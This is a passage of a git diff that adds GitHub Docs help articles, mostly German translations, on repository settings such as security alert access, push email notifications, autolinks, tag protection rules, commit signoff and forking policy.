+4. Under "Access to alerts", in the search field, start typing the name of the person or team you'd like to find, then click a name in the list of matches.
+   {% ifversion fpt or ghec or ghes %}
+   ![Search field for granting people or teams access to security alerts](/assets/images/help/repository/security-and-analysis-security-alerts-person-or-team-search.png)
+   {% endif %}
+   
+   {% ifversion ghae %}
+   ![Search field for granting people or teams access to security alerts](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-person-or-team-search-ghae.png)
+   {% endif %}
+   
+5. Click **Save changes**.
+   {% ifversion fpt or ghes or ghec %}
+   !["Save changes" button for changes to security alert settings](/assets/images/help/repository/security-and-analysis-security-alerts-save-changes.png)
+   {% endif %}
+   
+   {% ifversion ghae %}
+   !["Save changes" button for changes to security alert settings](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-save-changes-ghae.png)
+   {% endif %}
+
+## Removing access to security alerts
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.navigate-to-code-security-and-analysis %}
+4. Under "Access to alerts", to the right of the person or team whose access you'd like to remove, click {% octicon "x" aria-label="X symbol" %}.
+   {% ifversion fpt or ghec or ghes %}  
+   !["x" button to remove someone's access to security alerts for your repository](/assets/images/help/repository/security-and-analysis-security-alerts-username-x.png)
+   {% endif %}
+   
+   {% ifversion ghae %}
+   !["x" button to remove someone's access to security alerts for your repository](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-username-x-ghae.png)
+   {% endif %}
+  5. Click **Save changes**.
+
+## Further reading
+
+- "[Securing your repository](/code-security/getting-started/securing-your-repository)"
+- "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)"
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/index.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/index.md
new file mode 100644
index 0000000000..4b78f01495
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/index.md
@@ -0,0 +1,27 @@
+---
+title: Verwalten der Repository-Einstellungen und -Funktionen
+intro: 'Du kannst dein Repository anpassen, optionale Features für dein Repository aktivieren oder deaktivieren und die Einstellungen deines Repositorys verwalten.'
+redirect_from:
+  - /categories/administering-a-repository
+  - /articles/managing-repository-settings
+  - /github/administering-a-repository/managing-repository-settings
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+children:
+  - /customizing-your-repository
+  - /enabling-features-for-your-repository
+  - /managing-repository-settings
+shortTitle: Manage repository settings
+ms.openlocfilehash: 34dfda5540e800f9424b77fab9a8f7e18fca539f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145132172'
+---
+
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md
new file mode 100644
index 0000000000..dbb15fcae3
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md
@@ -0,0 +1,49 @@
+---
+title: About email notifications for pushes to your repository
+intro: You can choose to automatically send email notifications to a specific email address when anyone pushes to the repository.
+permissions: People with admin permissions in a repository can enable email notifications for pushes to your repository.
+redirect_from:
+  - /articles/managing-notifications-for-pushes-to-a-repository
+  - /articles/receiving-email-notifications-for-pushes-to-a-repository
+  - /articles/about-email-notifications-for-pushes-to-your-repository
+  - /github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository
+  - /github/administering-a-repository/about-email-notifications-for-pushes-to-your-repository
+  - /github/administering-a-repository/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Email notifications for pushes
+---
+{% data reusables.notifications.outbound_email_tip %}
+
+Each email notification for a push to a repository lists the new commits and links to a diff containing just those commits. In the email notification you'll see:
+
+- The name of the repository where the commit was made
+- The branch a commit was made in
+- The SHA1 of the commit, including a link to the diff in {% data variables.product.product_name %}
+- The author of the commit
+- The date when the commit was made
+- The files that were changed as part of the commit
+- The commit message
+
+You can filter email notifications you receive for pushes to a repository. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)."
+
+## Enabling email notifications for pushes to your repository
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.sidebar-notifications %}
+5. Type up to two email addresses, separated by whitespace, where you'd like notifications to be sent. If you'd like to send emails to more than two accounts, set one of the email addresses to a group email address.
+![Email address textbox](/assets/images/help/settings/email_services_addresses.png)
+1. If you operate your own server, you can verify the integrity of emails via the **Approved header**. The **Approved header** is a token or secret that you type in this field, and that is sent with the email. If the `Approved` header of an email matches the token, you can trust that the email is from {% data variables.product.product_name %}.
+![Email approved header textbox](/assets/images/help/settings/email_services_approved_header.png)
+7. Click **Setup notifications**.
+![Setup notifications button](/assets/images/help/settings/setup_notifications_settings.png)
+
+## Further reading
+- "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)"
+
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md
new file mode 100644
index 0000000000..6018fec5c6
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md
@@ -0,0 +1,54 @@
+---
+title: Configuring autolinks to reference external resources
+intro: You can add autolinks to external resources like JIRA issues and Zendesk tickets to help streamline your workflow.
+product: '{% data reusables.gated-features.autolinks %}'
+redirect_from:
+  - /articles/configuring-autolinks-to-reference-external-resources
+  - /github/administering-a-repository/configuring-autolinks-to-reference-external-resources
+  - /github/administering-a-repository/managing-repository-settings/configuring-autolinks-to-reference-external-resources
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Configure autolinks
+---
+
+## About autolinks
+
+Anyone with admin permissions to a repository can configure autolink references to link issues, pull requests, commit messages, and release descriptions to external third-party services.
+
+{% ifversion autolink-reference-alphanumeric %}
+Autolink references can now accept alphanumeric characters. When originally introduced, custom autolinks were limited to external resources that used numeric identifiers. Custom autolinks now work with alphanumeric and numeric identifiers. 
+
+You define custom autolinks by specifying a reference prefix and a target URL.
+- Reference prefixes cannot have overlapping names. For example, a repository cannot have two custom autolinks with prefixes such as `TICKET` and `TICK`, since both prefixes would match the string `TICKET123a`.
+- Target URLs include a `<num>` variable which represents the reference identifier of the linked resource.
+{% endif %}
+
+## Configuring autolinks to reference external resources
+
+This procedure demonstrates how to configure autolinks to reference external resources. For example, if you use Zendesk to track user-reported tickets, you can reference a ticket number in the pull request you opened to fix the issue.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Integrations" section of the sidebar, click **{% octicon "cross-reference" aria-label="The cross-reference icon" %} Autolink references**.
+{% else %}
+1. In the left sidebar, click **Autolink references**.
+![Autolink references tab in the left sidebar.](/assets/images/help/repository/autolink-references-tab.png)
+{% endif %}
+1. Click **Add autolink reference**.
+![Button to fill out autolink reference information.](/assets/images/help/repository/add-autolink-reference-details.png)
+{% ifversion autolink-reference-alphanumeric %}
+1. Select the format of the reference identifier used in the external resource, either alphanumeric or numeric.
+![Autolink format setting, alphanumeric or numeric.](/assets/images/help/repository/autolink-format-setting.png)
+{% endif %}  
+1. Under "Reference prefix", type a short, meaningful prefix you want collaborators to use to generate autolinks for the external resource.
+{% ifversion autolink-reference-alphanumeric %}![Field to type abbreviation for external system.](/assets/images/help/repository/add-reference-prefix-field-alphanumeric.png){% else %}![Field to type abbreviation for external system.](/assets/images/help/repository/add-reference-prefix-field.png){% endif %}
+1. Under "Target URL", type the link to the external system you want to link to. Use the `<num>` variable as a placeholder for the reference identifier.
+{% ifversion autolink-reference-alphanumeric %}![Field to type URL to external system.](/assets/images/help/repository/add-target-url-field-alphanumeric.png){% else %}![Field to type URL to external system.](/assets/images/help/repository/add-target-url-field.png){% endif %}
+1. Click **Add autolink reference**.
+{% ifversion autolink-reference-alphanumeric %}{% else %}![Button to add autolink reference.](/assets/images/help/repository/add-autolink-reference.png){% endif %}
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules.md
new file mode 100644
index 0000000000..d6ad431f64
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules.md
@@ -0,0 +1,35 @@
+---
+title: Konfigurieren von Tagschutzregeln
+shortTitle: Tag protection rules
+intro: 'Du kannst Tagschutzregeln für dein Repository konfigurieren, um Mitwirkende daran zu hindern, Tags zu erstellen oder zu löschen.'
+product: '{% data reusables.gated-features.tag-protection-rules %}'
+versions:
+  fpt: '*'
+  ghae: '>= 3.5'
+  ghec: '*'
+  ghes: '>3.4'
+ms.openlocfilehash: 3b7b84cb26d8994c89222b2e4f642592fd45b72f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147063202'
+---
+{% note %}
+
+**Hinweis:** Tagschutzregeln befinden sich derzeit in der Betaversion und können noch geändert werden.
+
+{% endnote %}
+
+Wenn du eine Tagschutzregel hinzufügst, werden alle Tags, die dem bereitgestellten Muster entsprechen, geschützt. Nur Benutzer mit Berechtigungen als Administrator oder zum Verwalten im Repository können geschützte Tags erstellen, und nur Benutzer mit Administratorberechtigungen im Repository können geschützte Tags löschen. Weitere Informationen findest du unter [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role). {% data variables.product.prodname_github_apps %} erfordern die `Repository administration: write` Berechtigung zum Ändern eines geschützten Tags.
+
+{% ifversion custom-repository-roles %} Darüber hinaus kannst du benutzerdefinierte Repositoryrollen erstellen, um anderen Benutzergruppen das Erstellen oder Löschen von Tags zu ermöglichen, die den Tagschutzregeln entsprechen. Weitere Informationen findest du unter [Verwalten benutzerdefinierter Repositoryrollen für eine Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).{% endif %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+1. Klicke auf der Seitenleiste im Abschnitt "Code and Automation" (Code und Automatisierung) auf **{% octicon "tag" aria-label="The tag icon" %} Tags**.
+1. Klicke auf **New rule** (Neue Regel).
+![Neue Tagschutzregel](/assets/images/help/repository/new-tag-protection-rule.png)
+1. Gib unter "Tag name pattern" (Tagnamensmuster) das Muster der Tags ein, den du schützen möchtest. In diesem Beispiel schützt die Eingabe "\*" alle Tags. 
+![Festlegen des Tagschutzmusters](/assets/images/help/repository/set-tag-protection-pattern.png)
+1. Klicken Sie auf **Regel hinzufügen**.
+![Hinzufügen der Tagschutzregel](/assets/images/help/repository/add-tag-protection-rule.png)
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository.md
new file mode 100644
index 0000000000..d909a954f6
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository.md
@@ -0,0 +1,28 @@
+---
+title: Anonymen Git-Lesezugriff für ein Repository aktivieren
+intro: 'Als Repository-Administrator kannst du anonyme Git-Lesezugriffe für öffentliche Repositorys aktivieren oder deaktivieren, wenn diese bestimmte Voraussetzungen erfüllen.'
+redirect_from:
+  - /articles/enabling-anonymous-git-read-access-for-a-repository
+  - /github/administering-a-repository/enabling-anonymous-git-read-access-for-a-repository
+  - /github/administering-a-repository/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository
+versions:
+  ghes: '*'
+shortTitle: Anonymous Git read access
+ms.openlocfilehash: b289f2e70096775e567be0c925675e9986424821
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145132159'
+---
+Repository-Administratoren können die Einstellung für den anonymen Git-Lesezugriff für ein bestimmtes Repository ändern, wenn folgende Voraussetzungen erfüllt sind:
+- Ein Websiteadministrator hat den privaten Modus und den anonymen Git-Lesezugriff aktiviert.
+- Das Repository ist für das Unternehmen öffentlich und ist keine Fork.
+- Ein Websiteadministrator hat den anonymen Git-Lesezugriff für das Repository nicht deaktiviert.
+
+{% data reusables.enterprise_user_management.exceptions-for-enabling-anonymous-git-read-access %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+3. Klicke neben „Anonymen Git-Lesezugriff aktivieren“ auf **Aktivieren**.
+![Schaltfläche „Aktiviert“ unter „Anonymer Git-Lesezugriff“](/assets/images/help/repository/enable-git-read-access-for-a-repo.png)
+4. Überprüfen der Änderungen. Gib zur Bestätigung den Namen des Repositorys ein, und klicke auf **Ich habe verstanden und möchte den anonymen Git-Lesezugriff aktivieren**.
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/index.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/index.md
new file mode 100644
index 0000000000..22e7ada329
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/index.md
@@ -0,0 +1,31 @@
+---
+title: Repository-Einstellungen verwalten
+intro: 'Du kannst festlegen, wie dein Repository funktioniert, indem du die Repositoryeinstellungen verwaltest.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+children:
+  - /setting-repository-visibility
+  - /managing-teams-and-people-with-access-to-your-repository
+  - /managing-the-forking-policy-for-your-repository
+  - /managing-pull-request-reviews-in-your-repository
+  - /managing-the-commit-signoff-policy-for-your-repository
+  - /managing-the-push-policy-for-your-repository
+  - /managing-git-lfs-objects-in-archives-of-your-repository
+  - /enabling-anonymous-git-read-access-for-a-repository
+  - /about-email-notifications-for-pushes-to-your-repository
+  - /configuring-autolinks-to-reference-external-resources
+  - /configuring-tag-protection-rules
+shortTitle: Manage repository settings
+ms.openlocfilehash: 6da601d8c1e9317bd382997f9e0c3b0897793b25
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '147409595'
+---
+
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository.md
new file mode 100644
index 0000000000..269e99f89b
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository.md
@@ -0,0 +1,33 @@
+---
+title: Verwalten von Git LFS-Objekten in Archiven deines Repositorys
+shortTitle: 'Managing {% data variables.large_files.product_name_short %} objects in archives'
+intro: 'Du kannst auswählen, ob {% data variables.large_files.product_name_short %}-Objekte ({% data variables.large_files.product_name_long %}) in den Quellcodearchiven, d. h. ZIP-Dateien und Tarballs, enthalten sein sollen, die {% data variables.product.product_name %} für dein Repository erstellt.'
+permissions: 'People with admin permissions for a repository can manage whether {% data variables.large_files.product_name_short %} objects are included in archives of the repository.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Repositories
+redirect_from:
+  - /github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository
+  - /github/administering-a-repository/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository
+ms.openlocfilehash: 64bad4c056a29ceffc465065c84a7424c870049f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147881772'
+---
+## Informationen zu {% data variables.large_files.product_name_short %}-Objekten in Archiven
+
+{% data variables.product.product_name %} erstellt Quellcodearchive deines Repositorys in Form von ZIP-Dateien und Tarballs. Personen können diese Archive auf der Hauptseite deines Repositorys oder als Releaseressourcen herunterladen. Standardmäßig sind in diesen Archiven nicht die {% data variables.large_files.product_name_short %}-Objekte selbst enthalten, sondern nur die Zeigerdateien auf diese Objekte. Um die Benutzerfreundlichkeit von Archiven für dein Repository zu verbessern, kannst du stattdessen die {% data variables.large_files.product_name_short %}-Objekte einschließen. Zum Einschließen müssen die {% data variables.large_files.product_name_short %}-Objekte Nachverfolgungsregeln in einer *GITATTRIBUTES*-Datei entsprechen, die im Repository committet wurde.
+
+Wenn du {% data variables.large_files.product_name_short %}-Objekte in die Archive deines Repositorys einschließt, wird jeder Download dieser Archive auf die Bandbreitennutzung für dein Konto angerechnet. Für jedes Konto stehen pro Monat kostenlos {% data variables.large_files.initial_bandwidth_quota %} an Bandbreite zur Verfügung, du kannst aber für zusätzliche Nutzung bezahlen. Weitere Informationen findest du unter [Informationen zur Speicher- und Bandbreitennutzung](/github/managing-large-files/about-storage-and-bandwidth-usage) und [Verwalten der Abrechnung für {% data variables.large_files.product_name_long %}](/billing/managing-billing-for-git-large-file-storage).
+
+Wenn du einen externen LFS-Server verwendest (konfiguriert in deiner *LFSCONFIG*-Datei), werden diese LFS-Dateien nicht in die Archive des Repositorys eingeschlossen. Das Archiv enthält nur Dateien, die in {% data variables.product.product_name %} committet wurden.
+
+## Verwalten von {% data variables.large_files.product_name_short %}-Objekten in Archiven
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+3. Aktiviere oder deaktiviere unter „Archive“ die Option **{% data variables.large_files.product_name_short %}-Objekte in Archive einschließen**.
+  ![Kontrollkästchen zum Einschließen von {% data variables.large_files.product_name_short %}-Objekten in Archive](/assets/images/help/repository/include-git-lfs-objects-checkbox.png)
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-pull-request-reviews-in-your-repository.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-pull-request-reviews-in-your-repository.md
new file mode 100644
index 0000000000..c3eef619d6
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-pull-request-reviews-in-your-repository.md
@@ -0,0 +1,34 @@
+---
+title: Verwalten von Pull-Anforderungsüberprüfungen in deinem Repository
+intro: 'Du kannst einschränken, welche Benutzer*innen in einem öffentlichen Repository Änderungen an Pull Requests genehmigen oder anfordern können.'
+versions:
+  feature: pull-request-approval-limit
+permissions: Repository administrators can limit which users can approve or request changes to a pull request in a public repository.
+topics:
+  - Repositories
+  - Pull requests
+shortTitle: Manage pull request reviews
+ms.openlocfilehash: 81c58a856e7dddc316a41413d4c7787bf463cf7c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145132130'
+---
+## Informationen zu Grenzwerten für Code Reviews
+
+Standardmäßig können Benutzer in öffentlichen Repositorys Reviews übermitteln, die einen Pull Review genehmigen oder Änderungen anfordern.
+
+Du kannst einschränken, welche Benutzer Überprüfungen übermitteln können, mit denen Änderungen an Pull Requests in deinem öffentlichen Repository genehmigt oder angefordert werden. Wenn du Codeüberprüfungsgrenzwerte aktivierst, können alle Personen Pull Requests in deinem öffentlichen Repository kommentieren, aber nur Personen, die mindestens über Lesezugriff verfügen, können Pull Requests oder Anforderungsänderungen genehmigen.
+
+Darüber hinaus kannst du Codeüberprüfungsgrenzwerte für eine Organisation aktivieren. Wenn du Grenzwerte für eine Organisation aktivierst, überschreibst du alle Grenzwerte für einzelne Repositorys, die der Organisation gehören. Weitere Informationen findest du unter "[Verwalten von Pull REquest-Überprüfungen in deiner Organisation](/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization)".
+
+## Aktivieren von Codeüberprüfungsgrenzwerten
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+1. Klicke unter **Access** (Zugriff) auf **Moderation options** (Moderationsoptionen).
+![Repositoryeinstellungen für Moderationsoptionen](/assets/images/help/repository/access-settings-repositories.png)
+1. Klicke unter **Moderation options** (Moderationsoptionen) auf **Code review limits** (Codeüberprüfungsgrenzwerte).
+![Codeüberprüfungsgrenzwert-Repositorys](/assets/images/help/repository/code-review-limits-repositories.png)
+1. Aktiviere oder deaktiviere **Limit to users explicitly granted read or higher access** (Grenzwerte für Benutzer, denen ausdrücklich mindestens Lesezugriff gewährt wurde).
+![Einschränken der Überprüfung im Repository](/assets/images/help/repository/limit-reviews-in-repository.png)
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md
new file mode 100644
index 0000000000..ba8f824816
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md
@@ -0,0 +1,85 @@
+---
+title: Managing teams and people with access to your repository
+intro: You can see everyone who has access to your repository and adjust permissions.
+permissions: People with admin access to a repository can manage teams and people with access to a repository.
+redirect_from:
+  - /github/administering-a-repository/managing-people-and-teams-with-access-to-your-repository
+  - /github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository
+  - /github/administering-a-repository/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.3'
+  ghae: '>= 3.4'
+topics:
+  - Repositories
+shortTitle: Teams & people
+---
+
+## About access management for repositories
+
+For each repository that you administer on {% data variables.product.prodname_dotcom %}, you can see an overview of every team or person with access to the repository. From the overview, you can also invite new teams or people, change each team or person's role for the repository, or remove access to the repository.
+
+This overview can help you audit access to your repository, onboard or off-board contractors or employees, and effectively respond to security incidents.
+
+{% data reusables.organizations.mixed-roles-warning %}
+
+For more information about repository roles, see "[Permission levels for a personal account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+
+![Access management overview](/assets/images/help/repository/manage-access-overview.png)
+
+## Filtering the list of teams and people
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+{% data reusables.repositories.click-collaborators-teams %}
+{% else %}
+{% data reusables.repositories.navigate-to-manage-access %}
+{% endif %}
+1. Under "Manage access", in the search field, start typing the name of the team or person you'd like to find. Optionally, use the dropdown menus to filter your search. 
+  ![Search field for filtering list of teams or people with access](/assets/images/help/repository/manage-access-filter.png)
+
+## Changing permissions for a team or person
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+{% data reusables.repositories.click-collaborators-teams %}
+{% else %}
+{% data reusables.repositories.navigate-to-manage-access %}
+{% endif %}
+4. Under "Manage access", find the team or person whose role you'd like to change, then select the Role drop-down and click a new role.
+  ![Using the "Role" drop-down to select new permissions for a team or person](/assets/images/help/repository/manage-access-role-drop-down.png)
+
+## Inviting a team or person
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+{% data reusables.repositories.click-collaborators-teams %}
+{% else %}
+{% data reusables.repositories.navigate-to-manage-access %}
+{% endif %}
+{% data reusables.organizations.invite-teams-or-people %}
+5. In the search field, start typing the name of the team or person to invite, then click a name in the list of matches.
+  ![Search field for typing the name of a team or person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field.png)
+6. Under "Choose a role", select the repository role to grant to the team or person, then click **Add NAME to REPOSITORY**.
+  ![Selecting permissions for the team or person](/assets/images/help/repository/manage-access-invite-choose-role-add.png)
+
+## Removing access for a team or person
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+{% data reusables.repositories.click-collaborators-teams %}
+{% else %}
+{% data reusables.repositories.navigate-to-manage-access %}
+{% endif %}
+4. Under "Manage access", find the team or person whose access you'd like to remove, then click {% octicon "trash" aria-label="The trash icon" %}.
+  ![trash icon for removing access](/assets/images/help/repository/manage-access-remove.png)
+
+## Further reading
+
+- "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)"
+- "[Setting base permissions for an organization](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization)"
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository.md
new file mode 100644
index 0000000000..c95c449853
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository.md
@@ -0,0 +1,29 @@
+---
+title: Verwalten der Richtlinie für das Abzeichnen von Commits für dein Repository
+intro: 'Du kannst verlangen, dass Benutzer die Commits, die sie an deinem Repository vornehmen, automatisch über die Weboberfläche von {% data variables.product.product_name %} abzeichnen.'
+versions:
+  feature: commit-signoffs
+permissions: Organization owners and repository administrators can require all commits to a repository to be signed off by the commit author.
+topics:
+  - Repositories
+shortTitle: Manage the commit signoff policy
+ms.openlocfilehash: 078e80ed9f2b916c2c82b522eaad709fae5dc46c
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107693'
+---
+## Informationen zum Abzeichnen von Commits
+
+Mit dem Abzeichnen von Commits können Benutzer bestätigen, dass ein Commit mit den Regeln und der Lizenzierung eines Repositorys konform ist. Für Benutzer, die über die Weboberfläche von {% data variables.location.product_location %} committen, kannst du für einzelne Repositorys das obligatorische Abzeichnen von Commits aktivieren, sodass das Abzeichnen eines Commits ein nahtloser Teil des Commitprozesses ist. Wenn das obligatorische Abzeichnen von Commits für ein Repository aktiviert ist, wird jeder Commit für dieses Repository über die Weboberfläche von {% data variables.location.product_location %} automatisch vom Autor des Commits abgezeichnet.
+
+Organisationsbesitzer können auch das obligatorische Abzeichnen von Commits auf Organisationsebene aktivieren. Weitere Informationen findest Du unter [Verwalten der Richtlinie zum Abzeichnen von Commits für deine Organisation](/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization).
+
+{% data reusables.repositories.commit-signoffs %}
+
+## Das obligatorische Abzeichnen von Commits für dein Repository aktivieren oder deaktivieren
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+1. Wähle **Mitwirkende auffordern, webbasierte Commits abzuzeichnen** aus.
+  ![Screenshot von „Mitwirkende auffordern, webbasierte Commits abzuzeichnen“](/assets/images/help/repository/require-signoffs.png)
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md
new file mode 100644
index 0000000000..6542d33bd3
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md
@@ -0,0 +1,34 @@
+---
+title: Verwalten der Forking-Richtlinie für dein Repository
+intro: 'Du kannst das Forken eines bestimmten privaten{% ifversion ghae or ghes or ghec %} oder internen{% endif %} Repositorys im Besitz einer Organisation erlauben oder verhindern.'
+redirect_from:
+  - /articles/allowing-people-to-fork-a-private-repository-owned-by-your-organization
+  - /github/administering-a-repository/allowing-people-to-fork-a-private-repository-owned-by-your-organization
+  - /github/administering-a-repository/managing-the-forking-policy-for-your-repository
+  - /github/administering-a-repository/managing-repository-settings/managing-the-forking-policy-for-your-repository
+permissions: People with admin permissions for a repository can manage the forking policy for the repository.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Manage the forking policy
+ms.openlocfilehash: 18355227ad40567de3824f3cc286763cd081e153
